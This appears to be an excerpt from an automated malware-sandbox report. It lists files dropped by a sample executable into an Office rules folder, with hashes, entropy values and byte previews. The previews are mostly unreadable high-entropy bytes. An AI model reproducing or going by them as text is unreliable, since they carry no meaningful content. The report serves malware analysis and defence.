Preview:	<?xmlC1...j....f.p...P.Q.."jrI..7dE[...N..m.EfN.......u.....+...8.0.$I... ....yT...z{..........:..~t8..u_.X.Z..Ek..<&.~....."..P..(.dS...$.{......7.::.&.....:.=.q!...r..F.'..A\|/.V...e..;r.\|........<...g....l....bBe..%.....nhz.b..Lo$.?9<qu....&..G..y)H..+24.4+....Om.~Q.....@JkP...H.:..f...*....J.XY...r.`..g.7,.Mn...i..Q..=.T.[....<."!2...]%.~.5.[..I...E..........KO'`.."...RC......n.b2Z)...o.8a....5...9=....k.7...oW.....C.E..ki.7.../......y....(.w...M4x.AT-').F.C.AQ<.....'p...h.'.....h...E.uS..y...Y.E....&...1M...[.o5z.$ZDb..8....$.JW?pl....F..L.&.........j......~...z....e...aG(...f..../.E}...o.9.....h7.T...h.h.1......XD..<<....<.[j4..N.x...31v[...]ob...uf.Nm.c....O.xK.....p.K0.(...4U..1.6.{...{w;.....F...eq.B.....Co-.MHK...e......O.A._E0:2O...O............D..M..9..x.hR.......W.P.L......../`..V\.$$.0.E]..YW06.7.............=.Tna.C1......!%..7......).x.@.i....<..EI.[......l-@...#..<.'Q.,.p..-....Sb...v...e.L..'.d.%...cOr....\|V.)`..>8.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702100v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.889532315047992
Encrypted:	false
SSDEEP:	48:6nDUHBtkU9pWLHPU2HMmFDiY+/GCcbKaqD:6AHQ4wLXoX/xcb8
MD5:	D69E41985B08BF83F0E28805E33B083C
SHA1:	C5190838EB06746E77C68992824BDB379BFF3412
SHA-256:	E6BCECA9850D5C4927DB9DBA0A03E6463BBDB134DBEDEEE20292E2303F2D2541
SHA-512:	43B0285305E28DBF22D73E24AE8D69BE43203CEC7CAD8C2254BD0FDD2BEC85095EC3139AAEA4F5DEF6361F9F740B69B9EBCFC6AFE278D700E4153FF08CE7E939
Malicious:	false
Preview:	<?xml..jA...[.M..Gd...n.........<.Y?.s".&.-.I7([..-s.+5.U...3.M .....5..M....(...^3q..P5.G6...Pqt...].\n..!.[.6<.R...(...F'=.qwdn..xR....I.?"/.A."...4.......s.......0..........^K.H..5......5}[..,C.W.......a.X[Btg6....`J.....ud........J....=.......\}..Eb.%si.........Y-..e.ob..b9n...V\|s.!.K....p.1"...B.&.b...7..(o.{...".BQ..p.~.......l.....1\|..i.G..X...L.U...'...(.vl......H. .\|.....$>.1$g...j9...~.....f..k.Z.....9...........u..<<...%?....m.z...Kw..BTr....=.G..q...C.H..Q.t...XI8..b~..t,..r....D..D.!...[....J....jHQ...*..e..W.@P}OV.Dl...$[f..&..Qc...bn.........4^?.Bl.[.-.Q.q..U.8....._.0^<\..... ..\|...M.._t..Q'k.-.....H..XGZ.hO.U.C.b..n...^-.....q.g.=....sg5.C...".2.[...WGh.... E..v...s)0e.Q...5...f~..q...4.. .H.l...H..cR...7.MO...5..4...n.u-,...e..j..?G.....>.....g.. 4.r.&......mS.NF...&1[D........../......w@..A#6ks.Z%.Gw;C..l.i..Ym...$. .......7.....@....?.9.....@...m.........I@"`..l.~4)...z.#..&.a...>...ic.#.ae..;.3.&..N..!.i

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702101v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.894836509821567
Encrypted:	false
SSDEEP:	24:d7QMRIdfgYcnUkGf3RUxQKX+Uf5cFkb3G8aFTefhNJ2sh13s4PkWG7e9AbD:d7QVdfgzqZvkbW8IerXDsQkTigD
MD5:	8881EB8BBD85B76BCE05EB0873113F25
SHA1:	E3B7F0920C6C04C4950D12C79B0296AFFA61EA02
SHA-256:	1C459A43AADA1445823AD6E080B16D5F984E432C184D69C2D5AAA8CFFB95C57D
SHA-512:	DE6B10639C50301BC556A036ED11DC0F45E7452CBCFEDCD62AD87A3B70DA60C8F8AC17F9E7397F2325C53CF29B37ADA95E5BA5BA35757FF64549FDAED634F9CD
Malicious:	false
Preview:	<?xmlW....>...I...Xsj...i:%..XJ.(...>.....A....t....j-..a^.0V".t.../.........>....3..5uf.'.3.2..w.dA...Y..0.-....L.".N.C9i(....x..P....-.G.....A6...?e.A....N.kP...r.v.....,T.U...8.#@h.'....."...'$(...~Q..$&.......`.Q..Ok..k...;_K.K.(d.....a........u....01.uP.$p9..L2.!J.u./..0....wea.AcX.H...P.GC_.P.8.z.(.a`u2.......oK}...N...8.z..M..tDf.{...G.zBf...U...............].D..c......a.x...-.^3#..G..#&o.q..67..!..C...1..>qc..^[g\|o.:j.7...BZ...............h,K.X.\.e..K..p.3.[......J$4....?w.g7.........4.#@@b.....C......p2.#.G....+X..rp...{.~....dir....y....Z"}..e...0....@....Z...y. n2a.,.c==5q.....t..5a]3.g...7wv ......"..5K.Ya.....;09.t+R....._)g..s.%j...@....=.........}4..3...y((....)z..7..N'..........6.e_....Y:..._w...D.+].m\.V .:..n9...S.<..,../S...J'!..}W...d..sY&.\|.?.Q.....;..P7.G.l..CC.:....F..n.A>(v.....hU..u.2.8...m..T0/EF..s.....o.T/j.._....>.kX..23..[i.q.k./.$...........ZQ.T..KWZ..q.Cj..n.........Z.G]~?P.....~o_....gP.(1...lU..:/p.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702150v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.887121157054903
Encrypted:	false
SSDEEP:	48:6BetGF6EDMGIs/JcZOexd4wfS0y9f8gZbx49U/7EYep0D:6BetGF6E4GvJqOedkZbyW/7Ezpg
MD5:	395E35E7448CE66A9CBEBE4EC9A8B9AD
SHA1:	E0D6CBD29674CD9691B53BF9F443FE90CC07AF50
SHA-256:	5348E9F2A6A12E9F3F6FE044B6BDEFDFF5E3B709BD9F6B27B3891B65FFBECEC8
SHA-512:	90A6DFCEAD09380DBB791DA2CBD82304C16C09DCF335B7336FD2E2A483C70D8F7BB4519C766A027F77AD07017AD766A0ED3E178A9BAC97440EC3D115FDD6FF8E
Malicious:	false
Preview:	<?xml...a....K.{..{_...Q...?.rvT\|.g.'=!.....Tm.k,...nXZ.N.%.5./...UW..u...u.m...c.j}..Y.H.c.x........e$..2...w..p\|q...c+.N Z..<..O?x....7.z~...$.j.CKwl)0ig?uV..i.iHk....Y,4id..b..9m.^'..8@.".o...n5.X...#2.4.,.<..Ri...$...O\|.V.s.m.3^...h....4...{j........;.n.../X..VRV..%..nQ.....~..4.;..As.E%.".%N..."l.n.e.)`.p3.>.o.....:.....c.h.[b\B.l6!....sp.],0E`g.14&......}...y.W..S}..@E..p.^P.._Mp.8.%...........t.l/.8.TD........l......f.a:....S.....0..0...F.8..#B,...3..M.%Z.....}......;Or...;.k0Cg..y.S..YW..3.'.(.f 9.r..".O...MN.F~....IR.X.vn.6..>...l....8..UAB0)s~...6...+.9.D@.....y...~......"..Y...l=...<./.S.".>.a.[w.;j.4{.....wOV..%.Pr3sU..zL._e......X...5z.0..h.0.\....4H...D....d.m4....Xa..eC.A..m.-m\......BJT.~.c`.~...9..Lf..DC.1..2N..7"...A;..`..._..=.}..IR..\|.} ....!y.0.V........K(....4.i.[6...Vu...$..3..5O..l!........X....}C.-p1.Q.....[.v....l.&....w.k.x..uA..g...U..e.....j/o).x.M..<.......#U..}p{,ZR..!.C=..@C..,M..baa..s.?.i_('....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702151v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.876849337415135
Encrypted:	false
SSDEEP:	48:9bxUWBTciY2lDFyQofSIi3x3AnEY1UyPwq3D:91lxGEIUMwG
MD5:	A305295A78F6343E73A41105371DB3F1
SHA1:	FC7BD962FBFF05CFF9FEB5C41A3F9F1C7C8F7A5E
SHA-256:	F91E0BC1A92490A3B33E99B463437B635231B3C37D559E1E70C9D17F216C7992
SHA-512:	A0833C5A7DD083DFFF711C0BDA9796A9CCC0A85213B3984FEF25936CA1F7DD390F93D27E0FCC7ACE04CDD242500AB77A6F0C6E556D2CECAB9C23D7A50EF7488A
Malicious:	false
Preview:	<?xml.....A>.....S.>.l....U.N.a.d.b...}..$....G"t..9....../.5..bT/..Q....-.8euF....tQ0...o.....G.T...!...T.....p.&\.........UGeTv.....i.}?..^<....R.?.3h....k1.l......Y.Un5C...>.D.F.m..aa..T~Z.A<&.?......1.%......i..U .......Ri8.E.....Y.....#.z>.....j..o\W..s1'.U#y...lZ.$.....r.?..."..9.#....0.G..(.}..'...7..\|6=...+..QL...(..,C....Pu....Z......g.&..$./...f$=..........!...{.vY...NQP.........4.-........Q..YV.q..\...8}...D.,......__..%+w..!5.O..,:..."..e.(2..30.,E.U....23P..GK...7...%..C.......3l.M.\....r...'J]p.m-j+.....hU.!dY......<.h..zD....J.....%..<.kT.sA...........T....0D.2.....vd".o]/..........q..........\|a....p}d.......$kj.(.\|....{6........JfOA.XL....d.1..lS..;.d~.e.&C..}....n.9..=.G..3d....].P.....r....C..17....}....?.. ..{A....;.s*.......G.#.Q.....+./.3G~T..Y..o..~.R{.L...#9K.q.c.O6..y.S..=.E.TD...0..KO\|....N(......e[....m&..f/c.,ns...R....a....}..S.\|...8q.4......B...3e\|.T.F.e..u...K.....P.@...."a..g.....N..N\..k.....4.hY..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702200v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.8862505054514305
Encrypted:	false
SSDEEP:	48:sUJUkdl49gzR5hHMvAd70497lOOWCHYSNvvG1D:2dqTHMvw4COOW2DvGN
MD5:	20BD4401F26970B38BE1A6DA747F741C
SHA1:	39EAA84015EC7DADF86D3BBA86DFF919CE392F43
SHA-256:	71BAD4B4AADEE391790DD6B2C5F4626E35910454C0B5A9F74A9F86A62C967349
SHA-512:	27D99C4DA6D445091E204A7A8DF59EAF38BE33333EA25B149633A64267AA746CF23EAC0D4AD46AACD31D0D7166ECABEBE4D486A173709235363C0B27146F7105
Malicious:	false
Preview:	<?xml<6x....7...zC..].....E..N@2B...W.%f..".yC.8-.?.......a.......J.}......b....O..8...".SN...>W.P.D.......'w.^.@.]..M.[t7\.!L..j.BTE...n[..D#..K.....Z"h;,..............HO...SX.G...Q.2.Nr..f%..F.N....k.I.....8..]w.........q......O..#~.....r.7]..C..5.w.d.Rp.......l.2..aY.<...j.? ~(........z.'....H"0^...f..8.i........e.R.C.i....BU....R.2..k.........<~....w!..Sk\|.f6.,"..]..z...{0$.....N..S...c.r..!.s..<..(.,..'.a..sU..Z....J+.n.....j.4p....du....w..}.MdO."d....\|Lo..fm...:..Od....Q..)c.H...._<.L-J.5s[~..].j.....2.Y.W.sJ.P3y........M..T.apvj,j..W......R..C5..3....6..\o..'......^... ..-.<..s..:w45..]..X.f..O.......0.....xZzz..sU..].HafV.E.......\|y.t.]...P...i..3..... A...,h.hpV.0...@..........1#.0..i&6.a...n.>.N...&o.....K.Lr..l..K.=.....G\|..@.....\I..1.t........n...x.,..7.7ZRq..1..G..:....]..(...#..1....[......:....{}=.....CZU<.Ul<...O.[+!~..N.~..N*...x...3...c[oc...'._.3.1...I..-.QP.....o..L..G.P.qf....'&....?1....1...}. ..eh....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702201v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.87672726030106
Encrypted:	false
SSDEEP:	48:8zZeKQ5bMcQMupD3AHn3EJz30cztEYXZsZxD:mDQphht60ctEWsZ5
MD5:	FB99926996BEF3F35285AC6C98D6E56B
SHA1:	FCF03B478362126E299CB0DE44A886047163DB77
SHA-256:	C9ADA37C20E5CD651AF3E18CF5E52A9104185013D60288212CC4534B7C0B1692
SHA-512:	338AFE0BF19F9315BC3268E89844490E88251875FBB5E99B9F1CDEAE378606DB55741AC45D46D1CA7D287C9DCBEBB0C78151285C63CD7A86813D89A477BC054E
Malicious:	false
Preview:	<?xml.../o.F..H...O...Z..eN.... ........W.......&?Jm.4....t. .w.V.L...=..0..m\T.z..q3u..?.i.%....F...!...H..!.l..w.k....I99...:..g...4..1.:..9.).k.......hy..w...h....Q.gaNs....8.Y.;"..B.,(/....-`.<.Wg...z....x=..A..b....Lrz>J....I$...(.0.i.b1.........1......s.q.s`.b@...v...zWw.o.Z_..5.E.a&...-)+r..F.z.is.H....tx.....X..sd.....z....m.....2.q;.E3C.+....c.c..........}..^.S%.2.}A.g..Zb..WS.B...WVx^.. (.!.[.)<..X........E.{.R.F..K.!_..M.F....`-.O..}.i}. .7?E[`.s4W...5....q^......B.r.G'p..<RIS....../....+.k,.Y.~0/{W.......q.<#....e...A.C...}#i., ..B..S>.-TFE..B4m..{.5Yw+5@......i.......]...z.`...>..../.<..G.a.......I.KW...12b..@.7Y..8...&p0......i.;y...F..!...:."......R.q..9......K.:r....L...U.{..>.P.L5.C.K.LB..].'.m...k...h...@H0...b.C..;!&`y....5..V...\..>A.A.s.i#&q.B..eL.?.\....\.Lu.@...B.X...S..1.,..a%.e.6....W.tu...?.T.....F.U.'.O?Xy~Er...@w..!.L......e.&..v7!xxb.`%...U..k...y/.v.ti..2.....nr...Kc.A.X.S....!.Jd.z/.+.l.^..1..F....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702250v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1685
Entropy (8bit):	7.8866607427031505
Encrypted:	false
SSDEEP:	24:X1yBxycKRDIHhR3QG5JMzryBy6YY/as6woFG5PFmksTVrUg6B9W5mvyOqrObD:X1WxycxoGQzryRp/iFwPlsTlUv9WZsD
MD5:	F7CCAA3EF7BD1D0AC1CA799D8062C804
SHA1:	38747EB0B8F15202048677B1AE2F6426A23C8EFE
SHA-256:	970179576B71AA65C5E61F8189D21BF363EB0041F5806240DDCEB4F0E2279EF3
SHA-512:	929413DBD3E9A2547E3DC37D486A734082F5CFB9B52D06247B8FF8D4128B984B970C43A53D1D7CC99969D42CFD071E359E20379081E0F912962C80FBA89BBD7F
Malicious:	false
Preview:	<?xml.......[.-....\|\......P........YA_.^>g.I.....;.9(%]......Z.... .C....(..g.E..Z$3........7.K.r..g.jz...:D.%.5.e.I...E.Qh......)=rj...K.>.Y+..../;:..`m./..8h.M...O...yn.6..F.....O.CHO.X....,.<..Q....'.A1....v.G...h.....9E....Q....:1....U....].3..?:......%..3.V<..A.{......%..6u.r..:..OGE6.n.s..>.`....jo.FS.......O.....o...q;...9.Zr.!.m.`0!...H..f.b.N.9../....m.Nq..=..n. {\|...T.. P,..}I..b...%.cBh...J.......a.~...F!...V...n...]E.E.......9...\|..G..1 ?.S..n.$.......{%P......+q9T=.<+.n.z.0,J.r.f.}k..3....k....;l...'.i.[.m...`E...E4..(Z.;...d.a.\..-;n..@......dLA.@...m..9D7"....,.8.....k\.KS..M...t..]..r.s.[....}.-...v......-...5b..<..J.3sh.<R.^....B..`....3Q\....U<U...:uy.._(Z{..n'...Mm..n.h...K.....m..c.O+88...A....._)..U.C.....\O..)....(k8...G...L...<S...MT...[n..i....`.h.&Ri.LO.h>HDj)%..(...6W.m.'.vd........@.=.@RW........x..Vm%G...r.w.f.P......z....M....D..F..^......\|.\|.E}....y...K.......C...o y.x&r.7.......re(....\|l..p.#.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702251v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.882395948673252
Encrypted:	false
SSDEEP:	48:8jUCfWpjRI4q/zwVhwmoYEfL2+m1LKMpn3xMz7dkGYjVhSlD:d5RI4q7w8mPEfOBKMpnBk7wjXW
MD5:	4931261F3403C8D0B3106B740B9261EC
SHA1:	44E4DE76B6CEF95AFFFD0D1C778496453B977917
SHA-256:	ED083CA55A0C76624C65AAE72E167DF41646A7203E9697AA6BC18CEA17D1BD15
SHA-512:	55B324A922785B27431B3D8932269BD5450CE37DD3609679AB6F7CA7B1144C0BB7ABDD244F8CD278973B491C819D136F418A4C05BAA9BFBEB777198614F140F3
Malicious:	false
Preview:	<?xml...q...._c.:......2...>rk$...V.6...0...9.>#.2..............W..(nh.i.\...(.4.@....t-..+....q.....a...G.S.s.)......<..f.wv..>].v..Z.k...XK.....g\|v.U[{...HI`.#.Cm1...\|2.....17d2.\|..n.X.lm.8.rC.....J..e...">.6.a.%..F..7#..@..p.=.P..9g.D.h....)...<b.z...M..........8.J6.....a."........o.l+.X.ELy.c........#B>......v.6C.F. .....Z........KFl....G.}.).?.CJ..n.*..-X[R$p..E...7..2..@.....\|-..D6.Le..?..)..CP...F.P.c..g.c...D.i..GF/.+..`?......5YRT{.Q.._.l...O.....S....~.R...Q..&..j.z.....)On4......P....?....../..K5..+.,.o~^W..B..1Jn..1..:._h.&:.WZT.{A..}#jc..Ez.qU....`.......>...[...e."wp2@...\<.Z.irL].C...[<7..Y.!].7.'..t'...z.nh../Z....o.a.....g.K....u....?+....X.....;Q!Yl.9.7....}b.... Bn....Z..B-...Z.!X..d.?hK#.......AZ.v.J.&.`..K...T..........@.K.........vl1.j..}..N;).....A.....c.e....4_..........Lz.....'W...t......g7d.-...2...{U...f......$.<.....O.......W...K.BODL./.W.?.kF#&{A=....<?..#r...p.<......c".),4.U..I.ff.@.n..1.X..i.g.......bG.r....{E.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702300v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.8939440030976815
Encrypted:	false
SSDEEP:	48:dectjyFNBMnzzWXTQrP9Hr2FmFwJ6xNpD:HtaM2jmPh6mFw0F
MD5:	068BEE1B1543700283F893CEBF0EF97A
SHA1:	B72ABF4223BB6C7114D9E9D3C1921ABF13CE72D3
SHA-256:	ACBA62EDEA09EB52DD1AE5981A26E4722871A6A604A51FFA487BC0BCC5686E85
SHA-512:	13FC37D252774547C5455A80510566BB54F51F0C8B0A2EBAC6A0EEE16FF641CAE1D432823A04BBAC5559E857094B43C7BF3652AC88CCE6C1662F2386118E34FC
Malicious:	false
Preview:	<?xmlG..b..1...1q.Q...:.<.C...}..YP.b..++..Ia..7@..7.'.s<.u..T^(a.......b..3...'Xi..X.V+o....wF{..../w.&8.4v..=u.....3.....{n..1Q..p`...=.....Nc.]...$.#j........8....fU.Yd..I.... 1{'E..u..>...@`.$..wI.O...0.+^i..O.y?.%..B6C......3....?Y0......!.F.R.8b.A....+%%0.ju..E.;}..eB.$..9F...3.L..H_..CP...Y.rw...>v%B..]!..\|....MlJ...T..!.pBc.D..H.........m....s.<.......8..g......(..<..?(2.h.X.t..S.s.....L.<.......Y. ....}.....f.y..[e.%..J=.....'>.pF.:.L=....v...1'...{!,DA.(.......H...i.a..F.E..I.+8.JlP...}........@.F..:....G.n.b..}n&X.{..j......t.%.0.inN......HO...7y.SU.5QM..M.N..........7..?9.G.u<....(g.^.]DW:..k..~..O..?..k\.....z!].o-91.B./Z..Zk.`...p=h-..3-.(...J.S3#..[.4..:z.,Mc3m.<c.G.]....6Q.3....'.)...\..0}x`9...p6.G:pJC....,..\..w..mS.5.u.r._..a...6....&.......R.X(.E.\|..C....f^,......Dh_..;........`.T.....:\|...Y..'y.Ak-...!.#....J.3......gM.?V..g..y.T...t@`.3......K...yg.S....e)...1$....i.sS.....Q...)....=XRP.../y....U..&.@.k..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702301v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.890650285744465
Encrypted:	false
SSDEEP:	48:Wn5mXKyQSsT8ukUqdTdqkFb7qNHBQ3+DV9NOGeYmoy0TLD:emXKyQSs8dUqrqs7qNHBO+DVfO1Ymoy+
MD5:	60B45486FA822DB1B5D3DC3E62B504E4
SHA1:	EDE693D340D0CEC095A2785924BEFF3268F14D73
SHA-256:	31DE41064C13354445484F608921FE517E74108B14E6BC0B5CF45DED735E72F8
SHA-512:	F6DA88141E4FAF528357D2521B96FA877B1E30E12ED9159EBF5406881B0E69076D2D8163A3CC0148E6151E737DBA4FDBB5BA0CE8645F1E902FF373837FAF005D
Malicious:	false
Preview:	<?xmlgR.......{....v"e.t.aS......,....F....y.0vo1..a..%#o.6...1R.Mz..\....m,Cn..,.a...[m..l.i..B........@.a...;h.....Z..."=#..'....pWL.....?.)....=.^4....f.......`...,..f$..K....Zh%.......&.z...$[+l.9/....csn.c.I=w.m......s..~....cg.....kn<.\|o......&...K!......z.....hW/5....8clv.u3c..... G=....X.....k(.<@..k..&.j.....K.....&n~m...Q....gm{U...,.\|!.3..:.fp._!DY]m.@.d..;.&..r.cAf.;...W..5.g.......9..`...T$.#.~.t...Ww8....YY....].".?...2..9..7...t.......M.w$K.OK..e.....3..\|......:.M..:.F.+.U......."...JG4L].6.(^...Z..4.#?.b.p7.n.v..h...wO0/.@.f.dc.....x../.=..u.G`..h6\....F.@..H.h........-@.\.9.\|..t.....9.._..{...g.{...o"..y..Y.."aJ...z.\...p....R......B4.../.4"....9l@...Qc..J.?....V....x..-u@...,..3..ANb./.XLC...+:...)..Q..q..^X!f.8......f.J.......b..2...=...6\...KMkk..+j...0...UE. ..J.k...E....3h..).p..3]......9w..a\....9.A...n.u.`.`.)-PN8..Y.....;.....7.....{2....f^.t1.....v..6..[..8...K...c:E....w..XIM......0FK..(...rL........z.R).+.<

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702350v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.886664940729152
Encrypted:	false
SSDEEP:	48:pSGyr7MbFvrY3xbbT88NOCKT/lHaiCipD:pvy0bpMBbbTBWT/ZCC
MD5:	E470A17BFC8ABBFBB9727ED467D907ED
SHA1:	EB9FE7DF77B64C006CA8971D865AF7C58B9C9391
SHA-256:	2F3BC1C2F4B7C98F058C75E24F4C5CCE1C50F979CEB3210CEDBB6DA41C46493B
SHA-512:	F3E8A1B85687DC4F9AA16C874D6997DF81574EF67080A04C5BCDE777D0CE3D5C432D07FDA5A6DAD196216F17C9069FBC5617071B2B32B1BC50419FCE18643145
Malicious:	false
Preview:	<?xmlu.N$....%..x....Q.J..a...;...G.D....W.R.L:........q..+.4x..YmXn..mG.O.s...!....j"x.n..]...#.7..3...yV4..v.....c:]...........p.w>..R.8F..H........6.(./..F....{i...r8r..(.&t...i.l-.......(..I@?.0.b.w.p..O".G9;D.i'X...P.d...e.<..m..l.#. O5......r.p.../....+S..yG.hv@.........\.Q....I.........{K.I.9?Hn3.Q@.pm_..E9.K..4.!r.p.2.....a..a..a.o....p...n......c..F.......;.b."...?...s...?.......)-.A`....T..!.......r...T".J3....=...4b.e..o. .F.4.c.M.f.K.0.^..A..'......+k\|v.l........P.."..\|..zL.....E.......?. .te..b.I.......1.{2...n...B..RD.u+y_.R.f...j.k...<.{.(...Ukk6..........3}.B...yz>..Fi.m.A0..G....;..P.<.K..m..$F..">.....Md+.9.F.....h.".I$@...I...L."..`q..8.....w.<....x...F....a.............#..U.Ya.<!.'.....?4!.n.%G..\|4d...........wN....y..?...J.......f...q.5.......$;.i<....D..G....$hf#Bt~+'...........sM$J.92...`...B.>.#x@`3.;..T,...dI-\...t(K...^.^...........x..n...,.t...'h5..\eC..W.u"...5.....L.9.~..;..^TW...g.*.3@F.F.u..cS.T..r.5KS.I

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702351v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.888491270324172
Encrypted:	false
SSDEEP:	48:Om9bqGWgjnA2IibGeOOUILnR7oqH0kPJH++mB6MwD:Om9bqGWsnvb7dUqnrHNPd1mBc
MD5:	DD746CAB55181E66F28C0958C73DFBB4
SHA1:	240A626A1F5B094575F5CCFE161D4EBDFCBAD26B
SHA-256:	96F43FFBBC788B363AE85DE4E0CED184DA0D24910620B385E5A4E515C50DB8A3
SHA-512:	819874AF031E0E67A4E81708CA69A174C12D6DD267B183FECE9EB4ED52AEE69462475455ED414957BA7F39CD1F7F52176B4F3AE3EBE768749EFAD99F9D736E70
Malicious:	false
Preview:	<?xml...y....s.\-.Z.e.......(r.4...q........9.$CM...m.;W...l74..[.N;.Mpj.~B.....w.tr.....P%TC.d...a.pVL..t..h....ct.2..u.._.......U....U.6,.{..1t.rd~.........?..4.H.....m..C...7E."..5`]vUI%...;.N..EAz=/..Dp.,... )...c-.z.Nx.i...tc..}.U..!.V <.nz{....:....Gi..>r.....$@c....c.#>..........Uhn.......m.EKS.-..............^D....nW\...y1.-T4.I..z..'.Y...x..r..CX.........z.g.G..N....(...[).@.H...].i;.6wq:6U..b..G......g.A....?....r!.....Ue.."..&..77......0....../g.<.........1./..~.8.....j..~..L.Y..8BDC...+..[.F3...2`.q.=t#...p...^..l.S.y..n..}.+u(.q.v.FA.u..!.....g.....m.d..... .3x....S...}...m%r..C....9b.$4h.1......,PN_...e..`O.....J..\..9Z1:"d..\|....zi..\).......b.7.G...R6...e.[...6.......t......RN..A...@.....e.w=........0}`..5....).Uy..........6_L^.S..^......UZ....Ql.......{\|>...B{..e..ar.e.Ew..?3...\\.rh.L.n\....Ixw.vf.nK....U8.x..F.u...{....&p\|u)/...Cw.CJ.`.\.X..-.....f$..0.:.[=...SW;.Z..w2.)....fB.o.F.M.bx....1.M..~.Q+d. b..]...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702400v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.872704932529675
Encrypted:	false
SSDEEP:	48:AupV0Z/hYWQP3tDKzBdwF/Q54V8OXRQi5qD:AWSkWe3tDCnC/+4V8OXG2i
MD5:	050029D31C76313F439D05843B4E9050
SHA1:	8A87D7B3A74CF7B2D44CE266F9D317410486BF6A
SHA-256:	FE9B80AE7CD2553ABB457B7CF401F3984254D264441BF267DE325D8AE0B5D94D
SHA-512:	8D263D401A09712E8218B3F6312F75B2CE9685EFFB63A97C48986D98935B70725B232B0CE1C71097F09C29B58958A85B1099CE3B8EFCF7797DCA76F9897EC826
Malicious:	false
Preview:	<?xml{.t$.m._]..Mqz\{`..[....)1A.\.m.....<....<%.z.;..j._g..~.....u#.......?:M.V>#O.fb.=7....)3q.@'...!G.rz5.V.y0;.1+.5[.=.....s.@..^Q.J..y.xGZ{.X...Cxv..>.PC`..PN.\QUUQ{.p /....%l.rA3..3.k....'1<..tA.xs....7/...8hi..m....p...n.,..d.c]@..M....f.sW..J3...... ..4..P]<TH.....9B)..6n..wM.......l.2.'..... v...t....y.....B.!?.j....>Ame......2d.`u.C(...N........f[X..E.A.9m.#......\<....:H.T..1x..U.......O.J.."...I..(S,.Wqf.U.KO.o....~...S'@x........q#......~...U28..K.[t.3O.";..b../.U..i...A....1..jp#..O...I.+t4V$....6.R....$."....H.b..bp(..G.S.>c>M.. M/.Vx$j..Y.O...0......09.`....JCW..<.U.6eD.a..>..:..v%.4.\|.B...Bv.&9..E...jTb..u....0./..#.....JX...B.....B. x............qs.....~n..3.~..a;.%...gz...-Q.N.3._s....27..]G.z`..v.... ..;.Xv.w....zg.."lr,.f..S......O.?5\|..e.......>..P.L.....p.V.....I...\Q.Q..5~.YL.^..2C..2j.~...Vt....(E.M......A..T(".=.M.2+...m......-Q.. .....g..X..W79}..2./pv.....{J..R.\|..gOd.).fx@..-I..zP.Z@\|...(...s..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702401v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.882521158411324
Encrypted:	false
SSDEEP:	24:3iNYRvOcLBm7HNBOouTLrzcZU0VcqtdQsHIQ/pKXtVxVpDkhzkOtlrF+ZJlIunbD:F4cLBuGgdDtpoxVOP2Z3D
MD5:	E3A95006525DE6783B97B4C422EC4DB3
SHA1:	03E714B9453B54D8E7678545CE435E37864A9AB5
SHA-256:	2767F58C642DAE9F53D4878743A9BC20A76808019A586F3571DBBB37F98B8C78
SHA-512:	216CD8922DE6C4012E475897A634BFE3E2348A10A700019315CB68C2ED9742A4FEAFCEB3C7680D63802CAB02E28C6A2745B82816CF2A127B90794FCD394A87C2
Malicious:	false
